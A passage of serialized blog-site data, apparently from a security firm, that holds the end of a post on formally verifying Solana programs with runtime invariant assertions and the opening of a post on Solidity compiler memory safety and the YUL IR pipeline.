Acc",{"type":23,"tag":504,"props":30203,"children":30204},{"style":5058},[30205],{"type":29,"value":5333},{"type":23,"tag":504,"props":30207,"children":30208},{"class":5016,"line":5388},[30209,30213,30218,30222],{"type":23,"tag":504,"props":30210,"children":30211},{"style":5030},[30212],{"type":29,"value":22895},{"type":23,"tag":504,"props":30214,"children":30215},{"style":5041},[30216],{"type":29,"value":30217}," bad",{"type":23,"tag":504,"props":30219,"children":30220},{"style":5047},[30221],{"type":29,"value":6533},{"type":23,"tag":504,"props":30223,"children":30224},{"style":5467},[30225],{"type":29,"value":30226}," bool\n",{"type":23,"tag":504,"props":30228,"children":30229},{"class":5016,"line":5397},[30230],{"type":23,"tag":504,"props":30231,"children":30232},{"style":5058},[30233],{"type":29,"value":5965},{"type":23,"tag":504,"props":30235,"children":30236},{"class":5016,"line":5649},[30237],{"type":23,"tag":504,"props":30238,"children":30239},{"emptyLinePlaceholder":15},[30240],{"type":29,"value":5734},{"type":23,"tag":504,"props":30242,"children":30243},{"class":5016,"line":5666},[30244,30249,30253],{"type":23,"tag":504,"props":30245,"children":30246},{"style":5030},[30247],{"type":29,"value":30248},"impl",{"type":23,"tag":504,"props":30250,"children":30251},{"style":5467},[30252],{"type":29,"value":30201},{"type":23,"tag":504,"props":30254,"children":30255},{"style":5058},[30256],{"type":29,"value":5333},{"type":23,"tag":504,"props":30258,"children":30259},{"class":5016,"line":5683},[30260,30264,30268,30273],{"type":23,"tag":504,"props":30261,"children":30262},{"style":5030},[30263],{"type":29,"value":22895},{"type":23,"tag":504,"props":30265,"children":30266},{"style":5030},[30267],{"type":29,"value":15741},{"type":23,"tag":504,"props":30269,"children":30270},{"style":5139},[30271],{"type":29,"value":30272}," put_into_bad_state",{"type":23,"tag":504,"props":30274,"children":30275},{"style":5058},[30276],{"type":29,"value":17783},{"type":23,"tag":504,"props":30278,"children":30279},{"class":5016,"line":5696},[30280,30284,30288,30293,30297,30301],{"type":23,"tag":504,"props":30281,"children":30282},{"style":5030},[30283],{"type":29,"value":29413},{"type":23,"tag":504,"props":30285,"children":30286},{"style":5047},[30287],{"type":29,"value":357},{"type":23,"tag":504,"props":30289,"children":30290},{"style":5058},[30291],{"type":29,"value":30292},"bad ",{"type":23,"tag":504,"props":30294,"children":30295},{"style":5047},[30296],{"type":29,"value":546},{"type":23,"tag":504,"props":30298,"children":30299},{"style":5030},[30300],{"type":29,"value":14515},{"type":23,"tag":504,"props":30302,"children":30303},{"style":5058},[30304],{"type":29,"value":5061},{"type":23,"tag":504,"props":30306,"children":30307},{"class":5016,"line":5705},[30308],{"type":23,"tag":504,"props":30309,"children":30310},{"style":5058},[30311],{"type":29,"value":5403},{"type":23,"tag":504,"props":30313,"children":30314},{"class":5016,"line":5728},[30315],{"type":23,"tag":504,"props":30316,"children":30317},{"style":5058},[30318],{"type":29,"value":5965},{"type":23,"tag":504,"props":30320,"children":30321},{"class":5016,"line":5737},[30322],{"type":23,"tag":504,"props":30323,"children":30324},{"emptyLinePlaceholder":15},[30325],{"type":29,"value":5734},{"type":23,"tag":504,"props":30327,"children":30328},{"class":5016,"line":5746},[30329],{"type":23,"tag":504,"props":30330,"children":30331},{"style":5021},[30332],{"type":29,"value":30333},"// Instruction handler:\n",{"type":23,"tag":504,"props":30335,"children":30336},{"class":5016,"line":5813},[30337,30341,30346,30350,30354,30358,30362,30366,30371,30375,30379,30383],{"type":23,"tag":504,"props":30338,"children":30339},{"style":5030},[30340],{"type":29,"value":22319},{"type":23,"tag":504,"props":30342,"children":30343},{"style":5139},[30344],{"type":29,"value":30345}," hard_to_verify",{"type":23,"tag":504,"props":30347,"children":30348},{"style":5058},[30349],{"type":29,"value":603},{"type":23,"tag":504,"props":30351,"children":30352},{"style":5041},[30353],{"type":29,"value":22333},{"type":23,"tag":504,"props":30355,"children":30356},{"style":5047},[30357],{"type":29,"value":6533},{"type":23,"tag":504,"props":30359,"children":30360},{"style":5467},[30361],{"type":29,"value":22342},{"type":23,"tag":504,"props":30363,"children":30364},{"style":5058},[30365],{"type":29,"value":2658},{"type":23,"tag":504,"props":30367,"children":30368},{"style":5467},[30369],{"type":29,"value":30370},"MyCtx",{"type":23,"tag":504,"props":30372,"children":30373},{"style":5058},[30374],{"type":29,"value":22499},{"type":23,"tag":504,"props":30376,"children":30377},{"style":5047},[30378],{"type":29,"value":15803},{"type":23,"tag":504,"props":30380,"children":30381},{"style":5467},[30382],{"type":29,"value":15808},{"type":23,"tag":504,"props":30384,"children":30385},{"style":5058},[30386],{"type":29,"value":22384},{"type":23,"tag":504,"props":30388,"children":30389},{"class":5016,"line":5821},[30390,30395,30399,30403,30408],{"type":23,"tag":504,"props":30391,"children":30392},{"style":5139},[30393],{"type":29,"value":30394},"    invoke_signed",{"type":23,"tag":504,"props":30396,"children":30397},{"style":5058},[30398],{"type":29,"value":603},{"type":23,"tag":504,"props":30400,"children":30401},{"style":5047},[30402],{"type":29,"value":853},{"type":23,"tag":504,"props":30404,"children":30405},{"style":5058},[30406],{"type":29,"value":30407},"); ",{"type":23,"tag":504,"props":30409,"children":30410},{"style":5021},[30411],{"type":29,"value":30412},"// Cross-program invocation\n",{"type":23,"tag":504,"props":30414,"children":30415},{"class":5016,"line":5851},[30416],{"type":23,"tag":504,"props":30417,"children":30418},{"emptyLinePlaceholder":15},[30419],{"type":29,"value":5734},{"type":23,"tag":504,"props":30421,"children":30422},{"class":5016,"line":5859},[30423,30427,30432,30436,30440,30444],{"type":23,"tag":504,"props":30424,"children":30425},{"style":5030},[30426],{"type":29,"value":5033},{"type":23,"tag":504,"props":30428,"children":30429},{"style":5041},[30430],{"type":29,"value":30431}," invoke_res",{"type":23,"tag":504,"props":30433,"children":30434},{"style":5047},[30435],{"type":29,"value":5050},{"type":23,"tag":504,"props":30437,"children":30438},{"style":5047},[30439],{"type":29,"value":27352},{"type":23,"tag":504,"props":30441,"children":30442},{"style":5058},[30443],{"type":29,"value":19275},{"type":23,"tag":504,"props":30445,"children":30446},{"style":5021},[30447],{"type":29,"value":30448},"// fetch result of invocation\n",{"type":23,"tag":504,"props":30450,"children":30451},{"class":5016,"line":5891},[30452,30456,30460,30464,30469],{"type":23,"tag":504,"props":30453,"children":30454},{"style":5067},[30455],{"type":29,"value":14325},{"type":23,"tag":504,"props":30457,"children":30458},{"style":5041},[30459],{"type":29,"value":30431},{"type":23,"tag":504,"props":30461,"children":30462},{"style":5047},[30463],{"type":29,"value":5324},{"type":23,"tag":504,"props":30465,"children":30466},{"style":5083},[30467],{"type":29,"value":30468}," 5",{"type":23,"tag":504,"props":30470,"children":30471},{"style":5058},[30472],{"type":29,"value":5333},{"type":23,"tag":504,"props":30474,"children":30475},{"class":5016,"line":5899},[30476,30480,30484,30489,30493,30498,30503],{"type":23,"tag":504,"props":30477,"children":30478},{"style":5041},[30479],{"type":29,"value":28239},{"type":23,"tag":504,"props":30481,"children":30482},{"style":5047},[30483],{"type":29,"value":357},{"type":23,"tag":504,"props":30485,"children":30486},{"style":5058},[30487],{"type":29,"value":30488},"my_account",{"type":23,"tag":504,"props":30490,"children":30491},{"style":5047},[30492],{"type":29,"value":357},{"type":23,"tag":504,"props":30494,"children":30495},{"style":5139},[30496],{"type":29,"value":30497},"put_into_bad_state",{"type":23,"tag":504,"props":30499,"children":30500},{"style":5058},[30501],{"type":29,"value":30502},"(); ",{"type":23,"tag":504,"props":30504,"children":30505},{"style":5021},[30506],{"type":29,"value":30507},"// corrupt our account\n",{"type":23,"tag":504,"props":30509,"children":30510},{"class":5016,"line":5959},[30511],{"type":23,"tag":504,"props":30512,"children":30513},{"style":5058},[30514],{"type":29,"value":5403},{"type":23,"tag":504,"props":30516,"children":30517},{"class":5016,"line":11093},[30518,30522],{"type":23,"tag":504,"props":30519,"children":30520},{"style":5467},[30521],{"type":29,"value":16379},{"type":23,"tag":504,"props":30523,"children":30524},{"style":5058},[30525],{"type":29,"value":16384},{"type":23,"tag":504,"props":30527,"children":30528},{"class":5016,"line":11111},[30529],{"type":23,"tag":504,"props":30530,"children":30531},{"style":5058},[30532],{"type":29,"value":5965},{"type":23,"tag":32,"props":30534,"children":30535},{},[30536,30538,30543],{"type":29,"value":30537},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":154,"props":30539,"children":30541},{"className":30540},[],[30542],{"type":29,"value":30488},{"type":29,"value":30544},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":32,"props":30546,"children":30547},{},[30548],{"type":29,"value":30549},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":32,"props":30551,"children":30552},{},[30553,30555,30560],{"type":29,"value":30554},"However, we can ",{"type":23,"tag":4321,"props":30556,"children":30557},{},[30558],{"type":29,"value":30559},"augment",{"type":29,"value":30561}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":32,"props":30563,"children":30564},{},[30565],{"type":29,"value":30566},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":4743,"props":30568,"children":30570},{"code":30569,"language":5008,"meta":7,"className":5009,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[30571],{"type":23,"tag":154,"props":30572,"children":30573},{"__ignoreMap":7},[30574,30582,30633,30656,30663,30690,30713,30744,30751,30758,30766,30801,30808,30819],{"type":23,"tag":504,"props":30575,"children":30576},{"class":5016,"line":5017},[30577],{"type":23,"tag":504,"props":30578,"children":30579},{"style":5047},[30580],{"type":29,"value":30581},"...\n",{"type":23,"tag":504,"props":30583,"children":30584},{"class":5016,"line":4868},[30585,30589,30593,30597,30601,30605,30609,30613,30617,30621,30625,30629],{"type":23,"tag":504,"props":30586,"children":30587},{"style":5030},[30588],{"type":29,"value":22319},{"type":23,"tag":504,"props":30590,"children":30591},{"style":5139},[30592],{"type":29,"value":30345},{"type":23,"tag":504,"props":30594,"children":30595},{"style":5058},[30596],{"type":29,"value":603},{"type":23,"tag":504,"props":30598,"children":30599},{"style":5041},[30600],{"type":29,"value":22333},{"type":23,"tag":504,"props":30602,"children":30603},{"style":5047},[30604],{"type":29,"value":6533},{"type":23,"tag":504,"props":30606,"children":30607},{"style":5467},[30608],{"type":29,"value":22342},{"type":23,"tag":504,"props":30610,"children":30611},{"style":5058},[30612],{"type":29,"value":2658},{"type":23,"tag":504,"props":30614,"children":30615},{"style":5467},[30616],{"type":29,"value":30370},{"type":23,"tag":504,"props":30618,"children":30619},{"style":5058},[30620],{"type":29,"value":22499},{"type":23,"tag":504,"props":30622,"children":30623},{"style":5047},[30624],{"type":29,"value":15803},{"type":23,"tag":504,"props":30626,"children":30627},{"style":5467},[30628],{"type":29,"value":15808},{"type":23,"tag":504,"props":30630,"children":30631},{"style":5058},[30632],{"type":29,"value":22384},{"type":23,"tag":504,"props":30634,"children":30635},{"class":5016,"line":4876},[30636,30640,30644,30648,30652],{"type":23,"tag":504,"props":30637,"children":30638},{"style":5139},[30639],{"type":29,"value":30394},{"type":23,"tag":504,"props":30641,"children":30642},{"style":5058},[30643],{"type":29,"value":603},{"type":23,"tag":504,"props":30645,"children":30646},{"style":5047},[30647],{"type":29,"value":853},{"type":23,"tag":504,"props":30649,"children":30650},{"style":5058},[30651],{"type":29,"value":30407},{"type":23,"tag":504,"props":30653,"children":30654},{"style":5021},[30655],{"type":29,"value":30412},{"type":23,"tag":504,"props":30657,"children":30658},{"class":5016,"line":5099},[30659],{"type":23,"tag":504,"props":30660,"children":30661},{"emptyLinePlaceholder":15},[30662],{"type":29,"value":5734},{"type":23,"tag":504,"props":30664,"children":30665},{"class":5016,"line":5203},[30666,30670,30674,30678,30682,30686],{"type":23,"tag":504,"props":30667,"children":30668},{"style":5030},[30669],{"type":29,"value":5033},{"type":23,"tag":504,"props":30671,"children":30672},{"style":5041},[30673],{"type":29,"value":30431},{"type":23,"tag":504,"props":30675,"children":30676},{"style":5047},[30677],{"type":29,"value":5050},{"type":23,"tag":504,"props":30679,"children":30680},{"style":5047},[30681],{"type":29,"value":27352},{"type":23,"tag":504,"props":30683,"children":30684},{"style":5058},[30685],{"type":29,"value":19275},{"type":23,"tag":504,"props":30687,"children":30688},{"style":5021},[30689],{"type":29,"value":30448},{"type":23,"tag":504,"props":30691,"children":30692},{"class":5016,"line":5308},[30693,30697,30701,30705,30709],{"type":23,"tag":504,"props":30694,"children":30695},{"style":5067},[30696],{"type":29,"value":14325},{"type":23,"tag":504,"props":30698,"children":30699},{"style":5041},[30700],{"type":29,"value":30431},{"type":23,"tag":504,"props":30702,"children":30703},{"style":5047},[30704],{"type":29,"value":5324},{"type":23,"tag":504,"props":30706,"children":30707},{"style":5083},[30708],{"type":29,"value":30468},{"type":23,"tag":504,"props":30710,"children":30711},{"style":5058},[30712],{"type":29,"value":5333},{"type":23,"tag":504,"props":30714,"children":30715},{"class":5016,"line":5336},[30716,30720,30724,30728,30732,30736,30740],{"type":23,"tag":504,"props":30717,"children":30718},{"style":5041},[30719],{"type":29,"value":28239},{"type":23,"tag":504,"props":30721,"children":30722},{"style":5047},[30723],{"type":29,"value":357},{"type":23,"tag":504,"props":30725,"children":30726},{"style":5058},[30727],{"type":29,"value":30488},{"type":23,"tag":504,"props":30729,"children":30730},{"style":5047},[30731],{"type":29,"value":357},{"type":23,"tag":504,"props":30733,"children":30734},{"style":5139},[30735],{"type":29,"value":30497},{"type":23,"tag":504,"props":30737,"children":30738},{"style":5058},[30739],{"type":29,"value":30502},{"type":23,"tag":504,"props":30741,"children":30742},{"style":5021},[30743],{"type":29,"value":30507},{"type":23,"tag":504,"props":30745,"children":30746},{"class":5016,"line":5349},[30747],{"type":23,"tag":504,"props":30748,"children":30749},{"style":5058},[30750],{"type":29,"value":5403},{"type":23,"tag":504,"props":30752,"children":30753},{"class":5016,"line":5367},[30754],{"type":23,"tag":504,"props":30755,"children":30756},{"emptyLinePlaceholder":15},[30757],{"type":29,"value":5734},{"type":23,"tag":504,"props":30759,"children":30760},{"class":5016,"line":5388},[30761],{"type":23,"tag":504,"props":30762,"children":30763},{"style":5021},[30764],{"type":29,"value":30765},"    // Enforce invariants at runtime\n",{"type":23,"tag":504,"props":30767,"children":30768},{"class":5016,"line":5397},[30769,30773,30777,30781,30785,30789,30793,30797],{"type":23,"tag":504,"props":30770,"children":30771},{"style":5139},[30772],{"type":29,"value":21291},{"type":23,"tag":504,"props":30774,"children":30775},{"style":5058},[30776],{"type":29,"value":603},{"type":23,"tag":504,"props":30778,"children":30779},{"style":5041},[30780],{"type":29,"value":22333},{"type":23,"tag":504,"props":30782,"children":30783},{"style":5047},[30784],{"type":29,"value":357},{"type":23,"tag":504,"props":30786,"children":30787},{"style":5058},[30788],{"type":29,"value":30488},{"type":23,"tag":504,"props":30790,"children":30791},{"style":5047},[30792],{"type":29,"value":357},{"type":23,"tag":504,"props":30794,"children":30795},{"style":5139},[30796],{"type":29,"value":23820},{"type":23,"tag":504,"props":30798,"children":30799},{"style":5058},[30800],{"type":29,"value":17471},{"type":23,"tag":504,"props":30802,"children":30803},{"class":5016,"line":5649},[30804],{"type":23,"tag":504,"props":30805,"children":30806},{"emptyLinePlaceholder":15},[30807],{"type":29,"value":5734},{"type":23,"tag":504,"props":30809,"children":30810},{"class":5016,"line":5666},[30811,30815],{"type":23,"tag":504,"props":30812,"children":30813},{"style":5467},[30814],{"type":29,"value":16379},{"type":23,"tag":504,"props":30816,"children":30817},{"style":5058},[30818],{"type":29,"value":16384},{"type":23,"tag":504,"props":30820,"children":30821},{"class":5016,"line":5683},[30822],{"type":23,"tag":504,"props":30823,"children":30824},{"style":5058},[30825],{"type":29,"value":5965},{"type":23,"tag":32,"props":30827,"children":30828},{},[30829,30831,30836,30838,30843,30845,30850],{"type":29,"value":30830},"Here, we explicitly ",{"type":23,"tag":154,"props":30832,"children":30834},{"className":30833},[],[30835],{"type":29,"value":22036},{"type":29,"value":30837}," that our invariants hold at ",{"type":23,"tag":4321,"props":30839,"children":30840},{},[30841],{"type":29,"value":30842},"runtime",{"type":29,"value":30844}," which allows us to be assured that ",{"type":23,"tag":154,"props":30846,"children":30848},{"className":30847},[],[30849],{"type":29,"value":30488},{"type":29,"value":30851}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":32,"props":30853,"children":30854},{},[30855],{"type":29,"value":30856},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":24,"props":30858,"children":30860},{"id":30859},"challenges-of-formal-verification-on-solana",[30861],{"type":29,"value":30862},"Challenges of formal verification on Solana",{"type":23,"tag":320,"props":30864,"children":30866},{"id":30865},"expensive-computation",[30867],{"type":29,"value":30868},"Expensive computation",{"type":23,"tag":32,"props":30870,"children":30871},{},[30872,30874,30879],{"type":29,"value":30873},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":4321,"props":30875,"children":30876},{},[30877],{"type":29,"value":30878},"path explosion",{"type":29,"value":30880},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":32,"props":30882,"children":30883},{},[30884,30886,30891],{"type":29,"value":30885},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":4321,"props":30887,"children":30888},{},[30889],{"type":29,"value":30890},"formal verification friendly",{"type":29,"value":30892},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":32,"props":30894,"children":30895},{},[30896,30898,30903,30905,30910],{"type":29,"value":30897},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":154,"props":30899,"children":30901},{"className":30900},[],[30902],{"type":29,"value":23450},{"type":29,"value":30904}," in a ",{"type":23,"tag":154,"props":30906,"children":30908},{"className":30907},[],[30909],{"type":29,"value":19259},{"type":29,"value":30911},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":32,"props":30913,"children":30914},{},[30915,30917,30922,30924,30929,30931,30936,30938,30943,30945,30950,30952,30957],{"type":29,"value":30916},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":154,"props":30918,"children":30920},{"className":30919},[],[30921],{"type":29,"value":19259},{"type":29,"value":30923}," or a 32-byte ",{"type":23,"tag":154,"props":30925,"children":30927},{"className":30926},[],[30928],{"type":29,"value":23450},{"type":29,"value":30930},". Instead, our tool can substitute in ",{"type":23,"tag":4321,"props":30932,"children":30933},{},[30934],{"type":29,"value":30935},"cheaper",{"type":29,"value":30937}," types and functions, such as a 4-byte ",{"type":23,"tag":154,"props":30939,"children":30941},{"className":30940},[],[30942],{"type":29,"value":23450},{"type":29,"value":30944}," struct and a fixed-size, array-backed ",{"type":23,"tag":154,"props":30946,"children":30948},{"className":30947},[],[30949],{"type":29,"value":19259},{"type":29,"value":30951}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":4321,"props":30953,"children":30954},{},[30955],{"type":29,"value":30956},"much",{"type":29,"value":30958}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":32,"props":30960,"children":30961},{},[30962],{"type":29,"value":30963},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":320,"props":30965,"children":30967},{"id":30966},"runtime-environment",[30968],{"type":29,"value":30969},"Runtime Environment",{"type":23,"tag":32,"props":30971,"children":30972},{},[30973],{"type":29,"value":30974},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":32,"props":30976,"children":30977},{},[30978],{"type":29,"value":30979},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":32,"props":30981,"children":30982},{},[30983],{"type":29,"value":30984},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":24,"props":30986,"children":30987},{"id":4832},[30988],{"type":29,"value":4835},{"type":23,"tag":32,"props":30990,"children":30991},{},[30992],{"type":29,"value":30993},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":32,"props":30995,"children":30996},{},[30997],{"type":29,"value":30998},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":20844,"props":31000,"children":31001},{},[],{"type":23,"tag":32,"props":31003,"children":31004},{},[31005],{"type":23,"tag":4321,"props":31006,"children":31007},{},[31008,31010,31015,31016,31020],{"type":29,"value":31009},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":68,"props":31011,"children":31013},{"href":20927,"rel":31012},[72],[31014],{"type":29,"value":20931},{"type":29,"value":20933},{"type":23,"tag":68,"props":31017,"children":31018},{"href":20936},[31019],{"type":29,"value":20939},{"type":29,"value":357},{"type":23,"tag":7410,"props":31022,"children":31023},{},[31024],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":31026},[31027,31033,31037,31042,31048,31052],{"id":21001,"depth":4868,"text":21004,"children":31028},[31029,31030,31031,31032],{"id":21007,"depth":4876,"text":21010},{"id":21075,"depth":4876,"text":21078},{"id":21956,"depth":4876,"text":21959},{"id":21996,"depth":4876,"text":21999},{"id":22049,"depth":4868,"text":31034,"children":31035},"Specification: How can we describe what we want our program to do?",[31036],{"id":22163,"depth":4876,"text":22166},{"id":23522,"depth":4868,"text":23525,"children":31038},[31039,31040,31041],{"id":24187,"depth":4876,"text":24190},{"id":24472,"depth":4876,"text":24475},{"id":24616,"depth":4876,"text":24619},{"id":24757,"depth":4868,"text":24760,"children":31043},[31044,31045,31046,31047],{"id":24828,"depth":4876,"text":24831},{"id":26691,"depth":4876,"text":26694},{"id":27493,"depth":4876,"text":24820},{"id":30019,"depth":4876,"text":24825},{"id":30859,"depth":4868,"text":30862,"children":31049},[31050,31051],{"id":30865,"depth":4876,"text":30868},{"id":30966,"depth":4876,"text":30969},{"id":4832,"depth":4868,"text":4835},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":31057,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31058,"description":31059,"author":7765,"image":31060,"date":31062,"isFeatured":15,"onBlogPage":15,"tags":31063,"body":31065,"_type":4892,"_id":32485,"_source":4894,"_file":32486,"_stem":32487,"_extension":4897},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":31061,"height":14,"width":14},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[6515,31064],"compiler",{"type":20,"children":31066,"toc":32476},[31067,31073,31109,31121,31127,31149,31162,31310,31331,31336,31357,31362,31370,31375,31380,31385,31391,31410,31415,31436,31499,31512,31542,31562,31589,31594,31607,31612,31617,31630,31661,31684,31838,31856,31907,31926,31951,31956,31962,31989,32009,32037,32042,32064,32083,32091,32102,32107,32123,32380,32388,32393,32397,32402,32407,32472],{"type":23,"tag":24,"props":31068,"children":31070},{"id":31069},"introduction",[31071],{"type":29,"value":31072},"Introduction",{"type":23,"tag":32,"props":31074,"children":31075},{},[31076,31078,31084,31085,31089,31091,31098,31100,31107],{"type":29,"value":31077},"What does ",{"type":23,"tag":154,"props":31079,"children":31081},{"className":31080},[],[31082],{"type":29,"value":31083},"memory-safe",{"type":29,"value":1698},{"type":23,"tag":4321,"props":31086,"children":31087},{},[31088],{"type":29,"value":11335},{"type":29,"value":31090}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":68,"props":31092,"children":31095},{"href":31093,"rel":31094},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[72],[31096],{"type":29,"value":31097},"presents some requirements",{"type":29,"value":31099},", but is production code that ",{"type":23,"tag":68,"props":31101,"children":31104},{"href":31102,"rel":31103},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[72],[31105],{"type":29,"value":31106},"violates these requirements",{"type":29,"value":31108}," necessarily unsafe?",{"type":23,"tag":32,"props":31110,"children":31111},{},[31112,31114,31119],{"type":29,"value":31113},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":4321,"props":31115,"children":31116},{},[31117],{"type":29,"value":31118},"memory-safety",{"type":29,"value":31120}," actually means.",{"type":23,"tag":24,"props":31122,"children":31124},{"id":31123},"compiler-pipeline",[31125],{"type":29,"value":31126},"Compiler Pipeline",{"type":23,"tag":32,"props":31128,"children":31129},{},[31130,31132,31139,31141,31148],{"type":29,"value":31131},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":68,"props":31133,"children":31136},{"href":31134,"rel":31135},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[72],[31137],{"type":29,"value":31138},"released in v0.8.13",{"type":29,"value":31140},". Compilation happens ",{"type":23,"tag":68,"props":31142,"children":31145},{"href":31143,"rel":31144},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[72],[31146],{"type":29,"value":31147},"in two main steps",{"type":29,"value":6533},{"type":23,"tag":139,"props":31150,"children":31151},{},[31152,31157],{"type":23,"tag":143,"props":31153,"children":31154},{},[31155],{"type":29,"value":31156},"Solidity to YUL IR",{"type":23,"tag":143,"props":31158,"children":31159},{},[31160],{"type":29,"value":31161},"YUL IR to EVM opcodes",{"type":23,"tag":4743,"props":31163,"children":31167},{"className":31164,"code":31165,"language":31166,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[31168],{"type":23,"tag":154,"props":31169,"children":31170},{"__ignoreMap":7},[31171,31201,31222,31234,31242,31254,31274,31282,31303],{"type":23,"tag":504,"props":31172,"children":31173},{"class":5016,"line":5017},[31174,31178,31183,31187,31192,31196],{"type":23,"tag":504,"props":31175,"children":31176},{"style":5067},[31177],{"type":29,"value":14325},{"type":23,"tag":504,"props":31179,"children":31180},{"style":5058},[31181],{"type":29,"value":31182}," (m_viaIR ",{"type":23,"tag":504,"props":31184,"children":31185},{"style":5047},[31186],{"type":29,"value":24459},{"type":23,"tag":504,"props":31188,"children":31189},{"style":5058},[31190],{"type":29,"value":31191}," m_generateIR ",{"type":23,"tag":504,"props":31193,"children":31194},{"style":5047},[31195],{"type":29,"value":24459},{"type":23,"tag":504,"props":31197,"children":31198},{"style":5058},[31199],{"type":29,"value":31200}," m_generateEwasm)\n",{"type":23,"tag":504,"props":31202,"children":31203},{"class":5016,"line":4868},[31204,31209,31213,31217],{"type":23,"tag":504,"props":31205,"children":31206},{"style":5139},[31207],{"type":29,"value":31208},"        generateIR",{"type":23,"tag":504,"props":31210,"children":31211},{"style":5058},[31212],{"type":29,"value":603},{"type":23,"tag":504,"props":31214,"children":31215},{"style":5047},[31216],{"type":29,"value":6613},{"type":23,"tag":504,"props":31218,"children":31219},{"style":5058},[31220],{"type":29,"value":31221},"contract);\n",{"type":23,"tag":504,"props":31223,"children":31224},{"class":5016,"line":4876},[31225,31229],{"type":23,"tag":504,"props":31226,"children":31227},{"style":5067},[31228],{"type":29,"value":14325},{"type":23,"tag":504,"props":31230,"children":31231},{"style":5058},[31232],{"type":29,"value":31233}," (m_generateEvmBytecode)\n",{"type":23,"tag":504,"props":31235,"children":31236},{"class":5016,"line":5099},[31237],{"type":23,"tag":504,"props":31238,"children":31239},{"style":5058},[31240],{"type":29,"value":31241},"    {\n",{"type":23,"tag":504,"props":31243,"children":31244},{"class":5016,"line":5203},[31245,31249],{"type":23,"tag":504,"props":31246,"children":31247},{"style":5067},[31248],{"type":29,"value":5314},{"type":23,"tag":504,"props":31250,"children":31251},{"style":5058},[31252],{"type":29,"value":31253}," (m_viaIR)\n",{"type":23,"tag":504,"props":31255,"children":31256},{"class":5016,"line":5308},[31257,31262,31266,31270],{"type":23,"tag":504,"props":31258,"children":31259},{"style":5139},[31260],{"type":29,"value":31261},"            